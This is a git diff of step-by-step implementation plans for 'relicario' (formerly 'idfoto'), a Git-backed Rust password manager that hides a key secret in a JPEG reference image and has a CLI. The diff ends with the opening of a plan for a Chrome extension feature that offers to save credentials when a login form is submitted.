git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
|
||||
```
|
||||
|
||||
@@ -877,13 +877,13 @@ git commit -m "feat: add Entry, Manifest, ManifestEntry data model with serde"
|
||||
### Task 6: Vault Operations
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/src/vault.rs`
|
||||
- Modify: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/relicario-core/src/vault.rs`
|
||||
- Modify: `crates/relicario-core/src/lib.rs`
|
||||
|
||||
- [ ] **Step 1: Write failing tests**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/vault.rs
|
||||
// crates/relicario-core/src/vault.rs
|
||||
|
||||
// ... (implementation in step 3)
|
||||
|
||||
@@ -955,13 +955,13 @@ mod tests {
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core vault`
|
||||
Run: `cargo test -p relicario-core vault`
|
||||
Expected: FAIL — functions not defined.
|
||||
|
||||
- [ ] **Step 3: Write the implementation**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/vault.rs
|
||||
// crates/relicario-core/src/vault.rs
|
||||
use crate::crypto;
|
||||
use crate::entry::{Entry, Manifest};
|
||||
use crate::error::Result;
|
||||
@@ -1061,7 +1061,7 @@ mod tests {
|
||||
- [ ] **Step 4: Update lib.rs**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod crypto;
|
||||
pub mod entry;
|
||||
pub mod error;
|
||||
@@ -1069,19 +1069,19 @@ pub mod vault;
|
||||
|
||||
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
|
||||
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Run all tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core`
|
||||
Run: `cargo test -p relicario-core`
|
||||
Expected: All tests PASS (KDF + encrypt/decrypt + entry + vault).
|
||||
|
||||
- [ ] **Step 6: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/
|
||||
git add crates/relicario-core/src/
|
||||
git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
|
||||
```
|
||||
|
||||
@@ -1090,15 +1090,15 @@ git commit -m "feat: add vault encrypt/decrypt for entries and manifest"
|
||||
### Task 7: imgsecret — JPEG Decode, Y Channel, Block DCT
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/src/imgsecret.rs`
|
||||
- Modify: `crates/idfoto-core/src/lib.rs`
|
||||
- Create: `crates/relicario-core/src/imgsecret.rs`
|
||||
- Modify: `crates/relicario-core/src/lib.rs`
|
||||
|
||||
This task builds the image-processing foundation. No embedding yet — just: load JPEG → extract luminance → divide into 8×8 blocks → DCT forward/inverse.
|
||||
|
||||
- [ ] **Step 1: Write tests for DCT round-trip and Y channel extraction**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/imgsecret.rs
|
||||
// crates/relicario-core/src/imgsecret.rs
|
||||
|
||||
// ... (implementation in step 3)
|
||||
|
||||
@@ -1179,14 +1179,14 @@ mod tests {
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core imgsecret`
|
||||
Run: `cargo test -p relicario-core imgsecret`
|
||||
Expected: FAIL — functions not defined.
|
||||
|
||||
- [ ] **Step 3: Write the implementation**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/imgsecret.rs
|
||||
use crate::error::{IdfotoError, Result};
|
||||
// crates/relicario-core/src/imgsecret.rs
|
||||
use crate::error::{RelicarioError, Result};
|
||||
use image::io::Reader as ImageReader;
|
||||
use std::f64::consts::PI;
|
||||
use std::io::Cursor;
|
||||
@@ -1214,11 +1214,11 @@ pub struct EmbedRegion {
|
||||
pub fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
|
||||
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
|
||||
.with_guessed_format()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
|
||||
let img = reader
|
||||
.decode()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
|
||||
let rgb = img.to_rgb8();
|
||||
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
|
||||
@@ -1464,7 +1464,7 @@ mod tests {
|
||||
- [ ] **Step 4: Update lib.rs**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/src/lib.rs
|
||||
// crates/relicario-core/src/lib.rs
|
||||
pub mod crypto;
|
||||
pub mod entry;
|
||||
pub mod error;
|
||||
@@ -1473,19 +1473,19 @@ pub mod vault;
|
||||
|
||||
pub use crypto::{derive_master_key, decrypt, encrypt, KdfParams};
|
||||
pub use entry::{generate_entry_id, Entry, Manifest, ManifestEntry};
|
||||
pub use error::{IdfotoError, Result};
|
||||
pub use error::{RelicarioError, Result};
|
||||
pub use vault::{decrypt_entry, decrypt_manifest, encrypt_entry, encrypt_manifest};
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Run tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core imgsecret`
|
||||
Run: `cargo test -p relicario-core imgsecret`
|
||||
Expected: All 4 tests PASS.
|
||||
|
||||
- [ ] **Step 6: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/
|
||||
git add crates/relicario-core/src/
|
||||
git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DCT"
|
||||
```
|
||||
|
||||
@@ -1494,7 +1494,7 @@ git commit -m "feat: add imgsecret JPEG decode, Y channel extraction, and 8x8 DC
|
||||
### Task 8: imgsecret — QIM Embedding + Block Selection
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-core/src/imgsecret.rs`
|
||||
- Modify: `crates/relicario-core/src/imgsecret.rs`
|
||||
|
||||
This task adds QIM (Quantization Index Modulation) for embedding/extracting individual bits in DCT coefficients, and the fixed geometric pattern for selecting which blocks carry data.
|
||||
|
||||
@@ -1544,7 +1544,7 @@ Add to `mod tests` in `imgsecret.rs`:
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core qim`
|
||||
Run: `cargo test -p relicario-core qim`
|
||||
Expected: FAIL — `qim_embed`, `qim_extract`, `select_embed_blocks`, `QUANT_STEP` not defined.
|
||||
|
||||
- [ ] **Step 3: Write QIM and block selection implementation**
|
||||
@@ -1632,13 +1632,13 @@ pub fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(us
|
||||
|
||||
- [ ] **Step 4: Run tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core imgsecret`
|
||||
Run: `cargo test -p relicario-core imgsecret`
|
||||
Expected: All tests PASS (previous 4 + 3 new QIM/block-selection tests).
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/imgsecret.rs
|
||||
git add crates/relicario-core/src/imgsecret.rs
|
||||
git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
|
||||
```
|
||||
|
||||
@@ -1647,7 +1647,7 @@ git commit -m "feat: add QIM bit embedding and fixed-pattern block selection"
|
||||
### Task 9: imgsecret — Full embed() and extract()
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-core/src/imgsecret.rs`
|
||||
- Modify: `crates/relicario-core/src/imgsecret.rs`
|
||||
|
||||
This is the main event: the public `embed()` and `extract()` functions with redundancy coding and majority voting. Reed-Solomon is added in Task 10.
|
||||
|
||||
@@ -1697,7 +1697,7 @@ Add `use rand::Fill;` at the top of the test module for the random fill.
|
||||
|
||||
- [ ] **Step 2: Run tests to verify they fail**
|
||||
|
||||
Run: `cargo test -p idfoto-core embed_extract`
|
||||
Run: `cargo test -p relicario-core embed_extract`
|
||||
Expected: FAIL — `embed` and `extract` not defined.
|
||||
|
||||
- [ ] **Step 3: Write embed() implementation**
|
||||
@@ -1727,7 +1727,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
|
||||
// Check minimum size
|
||||
if y.width < MIN_DIMENSION as usize || y.height < MIN_DIMENSION as usize {
|
||||
return Err(IdfotoError::ImageTooSmall {
|
||||
return Err(RelicarioError::ImageTooSmall {
|
||||
min_width: MIN_DIMENSION,
|
||||
min_height: MIN_DIMENSION,
|
||||
actual_width: y.width as u32,
|
||||
@@ -1739,7 +1739,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50); // cap at 50 copies
|
||||
|
||||
if num_copies < MIN_COPIES {
|
||||
return Err(IdfotoError::ImgSecret(format!(
|
||||
return Err(RelicarioError::ImgSecret(format!(
|
||||
"image too small for embedding: only {num_copies} copies fit, need at least {MIN_COPIES}"
|
||||
)));
|
||||
}
|
||||
@@ -1793,7 +1793,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
|
||||
let new_x = region.x_offset as isize + dx;
|
||||
let new_y = region.y_offset as isize + dy;
|
||||
if new_x < 0 || new_y < 0 {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
region.x_offset = new_x as usize;
|
||||
region.y_offset = new_y as usize;
|
||||
@@ -1808,7 +1808,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
|
||||
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
|
||||
|
||||
if num_copies < 1 {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
|
||||
let blocks_needed = num_copies * BLOCKS_PER_COPY;
|
||||
@@ -1857,7 +1857,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
|
||||
let total_votes: u32 = bit_votes.iter().map(|v| v[0] + v[1]).sum();
|
||||
let min_confidence = total_votes * 3 / 4; // at least 75% of votes should agree
|
||||
if confidence < min_confidence {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
|
||||
Ok(bits_to_bytes(&secret_bits))
|
||||
@@ -1894,11 +1894,11 @@ fn bits_to_bytes(bits: &[u8]) -> [u8; 32] {
|
||||
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
|
||||
let reader = ImageReader::new(Cursor::new(original_jpeg))
|
||||
.with_guessed_format()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
|
||||
let img = reader
|
||||
.decode()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
|
||||
let rgb = img.to_rgb8();
|
||||
let (width, height) = (rgb.width(), rgb.height());
|
||||
@@ -1933,14 +1933,14 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
|
||||
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
|
||||
encoder
|
||||
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
|
||||
Ok(buf)
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
|
||||
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
|
||||
Expected: All tests PASS including embed/extract round-trip.
|
||||
|
||||
- [ ] **Step 5: Add a JPEG recompression survival test**
|
||||
@@ -1976,13 +1976,13 @@ Add to `mod tests`:
|
||||
|
||||
- [ ] **Step 6: Run all tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core`
|
||||
Run: `cargo test -p relicario-core`
|
||||
Expected: All tests PASS.
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/imgsecret.rs
|
||||
git add crates/relicario-core/src/imgsecret.rs
|
||||
git commit -m "feat: add imgsecret embed/extract with redundancy and majority voting"
|
||||
```
|
||||
|
||||
@@ -1991,7 +1991,7 @@ git commit -m "feat: add imgsecret embed/extract with redundancy and majority vo
|
||||
### Task 10: imgsecret — Crop Recovery
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-core/src/imgsecret.rs`
|
||||
- Modify: `crates/relicario-core/src/imgsecret.rs`
|
||||
|
||||
- [ ] **Step 1: Write failing crop test**
|
||||
|
||||
@@ -2033,7 +2033,7 @@ Add to `mod tests`:
|
||||
|
||||
- [ ] **Step 2: Run test to verify it fails**
|
||||
|
||||
Run: `cargo test -p idfoto-core crop`
|
||||
Run: `cargo test -p relicario-core crop`
|
||||
Expected: FAIL — `extract_with_crop_recovery` not defined.
|
||||
|
||||
- [ ] **Step 3: Write crop recovery implementation**
|
||||
@@ -2066,7 +2066,7 @@ pub fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
}
|
||||
}
|
||||
|
||||
Err(IdfotoError::ExtractionFailed)
|
||||
Err(RelicarioError::ExtractionFailed)
|
||||
}
|
||||
```
|
||||
|
||||
@@ -2110,19 +2110,19 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
}
|
||||
}
|
||||
|
||||
Err(IdfotoError::ExtractionFailed)
|
||||
Err(RelicarioError::ExtractionFailed)
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run all imgsecret tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
|
||||
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
|
||||
Expected: All tests PASS including crop recovery.
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/src/imgsecret.rs
|
||||
git add crates/relicario-core/src/imgsecret.rs
|
||||
git commit -m "feat: add crop recovery with multi-offset extraction search"
|
||||
```
|
||||
|
||||
@@ -2131,15 +2131,15 @@ git commit -m "feat: add crop recovery with multi-offset extraction search"
|
||||
### Task 11: CLI — Scaffolding, init, generate
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-cli/src/main.rs`
|
||||
- Modify: `crates/relicario-cli/src/main.rs`
|
||||
|
||||
- [ ] **Step 1: Write the clap CLI structure**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-cli/src/main.rs
|
||||
// crates/relicario-cli/src/main.rs
|
||||
use anyhow::{Context, Result};
|
||||
use clap::{Parser, Subcommand};
|
||||
use idfoto_core::{
|
||||
use relicario_core::{
|
||||
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
|
||||
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
|
||||
};
|
||||
@@ -2148,7 +2148,7 @@ use std::path::{Path, PathBuf};
|
||||
use std::process::Command;
|
||||
|
||||
#[derive(Parser)]
|
||||
#[command(name = "idfoto", version, about = "Git-backed password manager with reference image authentication")]
|
||||
#[command(name = "relicario", version, about = "Git-backed password manager with reference image authentication")]
|
||||
struct Cli {
|
||||
#[command(subcommand)]
|
||||
command: Commands,
|
||||
@@ -2230,21 +2230,21 @@ fn vault_dir() -> PathBuf {
|
||||
PathBuf::from(".")
|
||||
}
|
||||
|
||||
fn idfoto_dir() -> PathBuf {
|
||||
vault_dir().join(".idfoto")
|
||||
fn relicario_dir() -> PathBuf {
|
||||
vault_dir().join(".relicario")
|
||||
}
|
||||
|
||||
fn read_salt() -> Result<[u8; 32]> {
|
||||
let bytes = fs::read(idfoto_dir().join("salt"))
|
||||
.context("failed to read .idfoto/salt — is this a vault directory?")?;
|
||||
let bytes = fs::read(relicario_dir().join("salt"))
|
||||
.context("failed to read .relicario/salt — is this a vault directory?")?;
|
||||
let mut salt = [0u8; 32];
|
||||
salt.copy_from_slice(&bytes);
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
fn read_params() -> Result<KdfParams> {
|
||||
let json = fs::read_to_string(idfoto_dir().join("params.json"))
|
||||
.context("failed to read .idfoto/params.json")?;
|
||||
let json = fs::read_to_string(relicario_dir().join("params.json"))
|
||||
.context("failed to read .relicario/params.json")?;
|
||||
Ok(serde_json::from_str(&json)?)
|
||||
}
|
||||
|
||||
@@ -2256,7 +2256,7 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
|
||||
let jpeg_bytes = fs::read(image_path)
|
||||
.context("failed to read reference image")?;
|
||||
|
||||
let image_secret = idfoto_core::imgsecret::extract(&jpeg_bytes)
|
||||
let image_secret = relicario_core::imgsecret::extract(&jpeg_bytes)
|
||||
.map_err(|e| anyhow::anyhow!("failed to extract image secret: {e}"))?;
|
||||
|
||||
let salt = read_salt()?;
|
||||
@@ -2268,9 +2268,9 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
|
||||
Ok(master_key)
|
||||
}
|
||||
|
||||
/// Get reference image path — from env var IDFOTO_IMAGE or prompt.
|
||||
/// Get reference image path — from env var RELICARIO_IMAGE or prompt.
|
||||
fn get_image_path() -> Result<PathBuf> {
|
||||
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
|
||||
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
|
||||
return Ok(PathBuf::from(path));
|
||||
}
|
||||
eprint!("Reference image path: ");
|
||||
@@ -2328,7 +2328,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
|
||||
rand::RngCore::fill_bytes(&mut rand::rngs::OsRng, &mut image_secret);
|
||||
|
||||
println!("Embedding secret into reference image...");
|
||||
let stego_jpeg = idfoto_core::imgsecret::embed(&carrier_jpeg, &image_secret)
|
||||
let stego_jpeg = relicario_core::imgsecret::embed(&carrier_jpeg, &image_secret)
|
||||
.map_err(|e| anyhow::anyhow!("failed to embed secret: {e}"))?;
|
||||
fs::write(output_path, &stego_jpeg)
|
||||
.context("failed to write reference image")?;
|
||||
@@ -2354,14 +2354,14 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
|
||||
.map_err(|e| anyhow::anyhow!("key derivation failed: {e}"))?;
|
||||
|
||||
// 5. Write vault structure
|
||||
fs::create_dir_all(idfoto_dir())?;
|
||||
fs::create_dir_all(relicario_dir())?;
|
||||
fs::create_dir_all(vault_dir().join("entries"))?;
|
||||
fs::write(idfoto_dir().join("salt"), salt)?;
|
||||
fs::write(relicario_dir().join("salt"), salt)?;
|
||||
fs::write(
|
||||
idfoto_dir().join("params.json"),
|
||||
relicario_dir().join("params.json"),
|
||||
serde_json::to_string_pretty(¶ms)?,
|
||||
)?;
|
||||
fs::write(idfoto_dir().join("devices.json"), "[]")?;
|
||||
fs::write(relicario_dir().join("devices.json"), "[]")?;
|
||||
|
||||
// 6. Write empty manifest
|
||||
let manifest = Manifest::new();
|
||||
@@ -2373,7 +2373,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
|
||||
// Add .gitignore
|
||||
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")?;
|
||||
|
||||
git_commit("feat: initialize idfoto vault")?;
|
||||
git_commit("feat: initialize relicario vault")?;
|
||||
|
||||
println!("\nVault initialized successfully!");
|
||||
println!("IMPORTANT: Keep your reference image ({}) safe — you need it to unlock the vault.", output_path.display());
|
||||
@@ -2664,7 +2664,7 @@ Expected: Shows all subcommands with descriptions.
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-cli/src/main.rs
|
||||
git add crates/relicario-cli/src/main.rs
|
||||
git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, generate"
|
||||
```
|
||||
|
||||
@@ -2673,7 +2673,7 @@ git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, gen
|
||||
### Task 12: CLI — Device Management
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/idfoto-cli/src/main.rs`
|
||||
- Modify: `crates/relicario-cli/src/main.rs`
|
||||
|
||||
- [ ] **Step 1: Add device subcommands to the CLI**
|
||||
|
||||
@@ -2733,14 +2733,14 @@ struct DeviceEntry {
|
||||
}
|
||||
|
||||
fn read_devices() -> Result<Vec<DeviceEntry>> {
|
||||
let json = fs::read_to_string(idfoto_dir().join("devices.json"))
|
||||
let json = fs::read_to_string(relicario_dir().join("devices.json"))
|
||||
.context("failed to read devices.json")?;
|
||||
Ok(serde_json::from_str(&json)?)
|
||||
}
|
||||
|
||||
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
|
||||
let json = serde_json::to_string_pretty(devices)?;
|
||||
fs::write(idfoto_dir().join("devices.json"), json)?;
|
||||
fs::write(relicario_dir().join("devices.json"), json)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -2759,7 +2759,7 @@ fn cmd_device_add(name: &str) -> Result<()> {
|
||||
// Save private key to local config
|
||||
let config_dir = dirs::config_dir()
|
||||
.context("no config directory")?
|
||||
.join("idfoto");
|
||||
.join("relicario");
|
||||
fs::create_dir_all(&config_dir)?;
|
||||
fs::write(
|
||||
config_dir.join(format!("{name}.key")),
|
||||
@@ -2806,7 +2806,7 @@ fn cmd_device_revoke(name: &str) -> Result<()> {
|
||||
|
||||
- [ ] **Step 3: Add hex dependency**
|
||||
|
||||
Add to `crates/idfoto-cli/Cargo.toml` under `[dependencies]`:
|
||||
Add to `crates/relicario-cli/Cargo.toml` under `[dependencies]`:
|
||||
|
||||
```toml
|
||||
hex = "0.4"
|
||||
@@ -2824,7 +2824,7 @@ Expected: Compiles cleanly.
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-cli/
|
||||
git add crates/relicario-cli/
|
||||
git commit -m "feat: add device add/list/revoke commands with ed25519 key management"
|
||||
```
|
||||
|
||||
@@ -2833,16 +2833,16 @@ git commit -m "feat: add device add/list/revoke commands with ed25519 key manage
|
||||
### Task 13: Integration Test — Full Vault Workflow
|
||||
|
||||
**Files:**
|
||||
- Create: `crates/idfoto-core/tests/integration.rs`
|
||||
- Create: `crates/relicario-core/tests/integration.rs`
|
||||
|
||||
This test exercises the full flow: generate secret → embed → derive key → encrypt entry → decrypt entry → extract secret from re-encoded image.
|
||||
|
||||
- [ ] **Step 1: Write the integration test**
|
||||
|
||||
```rust
|
||||
// crates/idfoto-core/tests/integration.rs
|
||||
use idfoto_core::*;
|
||||
use idfoto_core::imgsecret;
|
||||
// crates/relicario-core/tests/integration.rs
|
||||
use relicario_core::*;
|
||||
use relicario_core::imgsecret;
|
||||
|
||||
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
|
||||
use image::codecs::jpeg::JpegEncoder;
|
||||
@@ -2967,7 +2967,7 @@ fn two_factor_independence() {
|
||||
|
||||
- [ ] **Step 2: Run integration tests**
|
||||
|
||||
Run: `cargo test -p idfoto-core --test integration`
|
||||
Run: `cargo test -p relicario-core --test integration`
|
||||
Expected: Both tests PASS.
|
||||
|
||||
- [ ] **Step 3: Run the full test suite**
|
||||
@@ -2978,7 +2978,7 @@ Expected: ALL tests across all crates PASS.
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/idfoto-core/tests/
|
||||
git add crates/relicario-core/tests/
|
||||
git commit -m "test: add full-workflow integration test and two-factor independence verification"
|
||||
```
|
||||
|
||||
@@ -2987,7 +2987,7 @@ git commit -m "test: add full-workflow integration test and two-factor independe
|
||||
## Plan 2 Preview
|
||||
|
||||
After this plan is complete and passing, Plan 2 covers:
|
||||
- **idfoto-wasm**: wasm-bindgen wrapper around idfoto-core (compile with `wasm-pack build`)
|
||||
- **relicario-wasm**: wasm-bindgen wrapper around relicario-core (compile with `wasm-pack build`)
|
||||
- **Chrome MV3 extension**: TypeScript popup + content script + service worker, loading the WASM module for inline crypto
|
||||
- **Extension UX**: passphrase prompt, entry list/search, autofill detection
|
||||
|
||||
@@ -0,0 +1,845 @@
|
||||
# relicario Credential Capture Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Add experimental credential capture that detects login form submissions and prompts the user to save or update credentials, with configurable bar/toast prompt style and per-site blacklist.
|
||||
|
||||
**Architecture:** Content script hooks form submissions, captures credentials, asks the service worker to check against the manifest, then injects a prompt (bar or toast) into the page. New settings view in the popup for configuration. Feature is off by default.
|
||||
|
||||
**Tech Stack:** TypeScript, Chrome extension APIs, DOM injection
|
||||
|
||||
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-credential-capture-design.md`
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
### New files
|
||||
|
||||
```
|
||||
extension/src/content/capture.ts # Form submission detection + prompt injection
|
||||
extension/src/popup/components/settings.ts # Settings view
|
||||
```
|
||||
|
||||
### Modified files
|
||||
|
||||
```
|
||||
extension/src/shared/types.ts # Add RelicarioSettings interface
|
||||
extension/src/shared/messages.ts # Add new message types
|
||||
extension/src/service-worker/index.ts # Handle new messages
|
||||
extension/src/content/detector.ts # Import and init capture
|
||||
extension/src/popup/popup.ts # Add 'settings' view
|
||||
extension/src/popup/components/unlock.ts # Wire settings button to settings view
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 1: Add Types and Message Definitions
|
||||
|
||||
**Files:**
|
||||
- Modify: `extension/src/shared/types.ts`
|
||||
- Modify: `extension/src/shared/messages.ts`
|
||||
|
||||
- [ ] **Step 1: Add RelicarioSettings to types.ts**
|
||||
|
||||
Add at the end of `extension/src/shared/types.ts`:
|
||||
|
||||
```typescript
|
||||
export interface RelicarioSettings {
|
||||
captureEnabled: boolean;
|
||||
captureStyle: 'bar' | 'toast';
|
||||
}
|
||||
|
||||
export const DEFAULT_SETTINGS: RelicarioSettings = {
|
||||
captureEnabled: false,
|
||||
captureStyle: 'bar',
|
||||
};
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Add new message types to messages.ts**
|
||||
|
||||
Add these to the `Request` union in `extension/src/shared/messages.ts`:
|
||||
|
||||
```typescript
|
||||
| { type: 'check_credential'; url: string; username: string; password: string }
|
||||
| { type: 'blacklist_site'; hostname: string }
|
||||
| { type: 'get_settings' }
|
||||
| { type: 'update_settings'; settings: Partial<import('./types').RelicarioSettings> }
|
||||
| { type: 'get_blacklist' }
|
||||
| { type: 'remove_blacklist'; hostname: string }
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/shared/types.ts extension/src/shared/messages.ts
|
||||
git commit -m "feat: add settings and credential capture message types"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 2: Service Worker Message Handlers
|
||||
|
||||
**Files:**
|
||||
- Modify: `extension/src/service-worker/index.ts`
|
||||
|
||||
- [ ] **Step 1: Add settings and blacklist storage helpers**
|
||||
|
||||
Add these helper functions to `extension/src/service-worker/index.ts`, after the existing storage helpers:
|
||||
|
||||
```typescript
|
||||
import type { RelicarioSettings } from '../shared/types';
|
||||
import { DEFAULT_SETTINGS } from '../shared/types';
|
||||
|
||||
async function loadSettings(): Promise<RelicarioSettings> {
|
||||
const data = await chrome.storage.local.get(['settings']);
|
||||
if (!data.settings) return { ...DEFAULT_SETTINGS };
|
||||
return { ...DEFAULT_SETTINGS, ...data.settings };
|
||||
}
|
||||
|
||||
async function saveSettings(settings: RelicarioSettings): Promise<void> {
|
||||
await chrome.storage.local.set({ settings });
|
||||
}
|
||||
|
||||
async function loadBlacklist(): Promise<string[]> {
|
||||
const data = await chrome.storage.local.get(['captureBlacklist']);
|
||||
return data.captureBlacklist ?? [];
|
||||
}
|
||||
|
||||
async function saveBlacklist(list: string[]): Promise<void> {
|
||||
await chrome.storage.local.set({ captureBlacklist: list });
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Add message handlers**
|
||||
|
||||
Add these cases to the `switch` statement in the message handler, before the `default` case:
|
||||
|
||||
```typescript
|
||||
case 'get_settings': {
|
||||
const settings = await loadSettings();
|
||||
return { ok: true, data: settings };
|
||||
}
|
||||
|
||||
case 'update_settings': {
|
||||
const current = await loadSettings();
|
||||
const updated = { ...current, ...req.settings };
|
||||
await saveSettings(updated);
|
||||
return { ok: true };
|
||||
}
|
||||
|
||||
case 'get_blacklist': {
|
||||
const list = await loadBlacklist();
|
||||
return { ok: true, data: { blacklist: list } };
|
||||
}
|
||||
|
||||
case 'remove_blacklist': {
|
||||
const list = await loadBlacklist();
|
||||
await saveBlacklist(list.filter(h => h !== req.hostname));
|
||||
return { ok: true };
|
||||
}
|
||||
|
||||
case 'blacklist_site': {
|
||||
const list = await loadBlacklist();
